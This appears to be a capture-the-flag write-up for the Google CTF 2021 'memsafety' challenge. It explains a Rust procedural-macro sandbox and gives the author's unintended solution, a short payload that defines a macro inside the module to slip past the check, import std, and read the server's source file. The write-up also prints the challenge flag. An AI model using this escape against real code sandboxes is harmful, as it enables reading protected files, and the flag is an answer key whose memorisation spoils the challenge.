# Overview
A server written in rust, which creates and runs Services (a Service there is a trait, a traits are similar to interfaces in other languages).There are two Services, one is implemented in `user_1` module which is predefined and the other one (`user_0`) is supposed to be implemented by the user.
A Python code wraps it all - receives the code of `user_0`, build the program and executes it. 
Pretty simple, but how's it related to the flag? It is actually placed as a constant string in the predefined module:
```rust#![no_std]use proc_sandbox::sandbox;
#[sandbox]pub mod user {    static FLAG: &'static str = "CTF{fake flag}";    use prelude::{mem::ManuallyDrop, Service, Box, String};    pub struct State(ManuallyDrop<String>);    impl State {        pub fn new() -> Box<dyn Service> {            Box::new(State(ManuallyDrop::new(String::from(FLAG))))        }    }    impl Service for State {       fn handle(&mut self, _: &str) {}    }}```
I'm not very experienced in rust but I've seen some code and the use of [ManuallyDrop](https://doc.rust-lang.org/std/mem/struct.ManuallyDrop.html) was not familliar to me. As it wraps the flag, it is worth mentioning that the object is a wrapper can be used to inhibit compiler from automatically calling the destructor of the wrapped struct.So it means the flag stays in memory? Interesting
And there is a sandbox. Actually in my point of view there were 3 "layers" of limitations, and the sandbox is one of them:
### Python validationThe user's input is being validated before the program is run (but after compiling). That's the function:
```pythondef check_user_input():    socket_print("Validating user input before compiling...")    result = subprocess.run("/home/user/rustup/toolchains/nightly-2020-10-08-x86_64-unknown-linux-gnu/bin/rustc user-0/src/lib.rs -Zast-json=yes",                            cwd="/home/user/sources", shell=True, timeout=150, capture_output=True)    try:        ast = json.loads(result.stdout)        if len(ast["module"]["items"]) != 5:            socket_print("Module escaping detected, aborting.")            sys.exit(1)
    except json.JSONDecodeError:        socket_print(            "Something went wrong during validation -- is your input malformed?")        sys.exit(1)
```
It tries to check module escaping using a feature of the rust compiler (exporting the AST).
**What actually caught my mind is the old version of the toolchain - should I exploit an old bug?**
### The sandbox 
The sandbox is implemented as a [Procedural Macro](https://doc.rust-lang.org/reference/procedural-macros.html) (more specific - attribute macro), which allow running code that consumes and produces rust syntax.
The `Sandbox` goes over the user-modules AST and checks for blocked operations:* The `unsafe` expression.* Linking to external symbol.* `extern` declaration.* Blocked idents (idents are keywords or illegal phrases): `env`, `file`, `include`, `include_bytes`,`include_str`, `option_env`, `std`
### Overriding `prelude`
In rust, [prelude](https://doc.rust-lang.org/std/prelude/index.html) is a list of things that rust automatically imports to every program, particularly for convenience.
It is possible to define your own prelude and that what happens in this challenge, so it goes hand to hand with the sandbox.
The `Service` trait is also defined in the same file.
```rustpub use std::io::Read;pub use std::io::Result as IoResult;pub use std::vec::Vec;pub use std::println as log;pub use std::string::String;pub use std::str;pub use std::mem;pub use std::boxed::Box;
pub trait Service {    fn handle(&mut self, query: &str);}```
# My (unintended) way to the solution
There were some "hints" that led me to think I should get the flag by exploiting a bug that existed in that old version of rust and it should likely be related to memory issues - `DropManually` that keeps the flag in memory, the old toolchain and the name of the challenge.
But I had another idea.
As mentioned before, the sandbox is implemented as a Procedural Macro, which made me think - In what order the build-time code is run?  **What if I define a macro inside the module and call it later?**
The answer is the macro defined inside the module actually processed later and as a result can bypass the sandbox limitations :)
Now I need to get the flag and since I know the absolute path of the project in the server (the path exists in their Python code), the easiest way for me was just reading the source code file from the disk.In order to read from disk you need to use `std` library, and although the sandbox is not an issue anymore, the library cannot be imported because of the prelude overriding.
But as a result of defeating the sandbox, the predule is not an issue anymore - I can use `extern crate`.`extern crate` declaration specifies a dependency on an external crate, [and is likely no longer needed in most cases now](https://doc.rust-lang.org/edition-guide/rust-2018/module-system/path-clarity.html) as `use` is more convenient.
[It is possible to use `extern crate` to add symbols to the `extern prelude`](https://doc.rust-lang.org/reference/names/preludes.html#extern-prelude)
Now that no problems left to be solved, the payload:```rust    use prelude::{Service, Box, String, log};
    macro_rules! get_the_flag {        ($e:expr) => {            extern crate std;            use std::fs;            let all = fs::read_to_string("/home/user/sources/user-1/src/lib.rs").expect("whatever");            log!("{}",all);        };    }
    pub struct State;    impl State {        pub fn new() -> Box<dyn Service> {            get_the_flag!("");            Box::new(Self)        }    }
    impl Service for State {       fn handle(&mut self, _: &str) {       }    }```
And the flag - `CTF{s4ndb0x1n9_s0urc3_1s_h4rd_ev3n_1n_rus7}`
In fact it turned out the intended solution is actually as "hinted" , as seen in [the original writeup](https://github.com/google/google-ctf/tree/master/2021/quals/pwn-memsafety)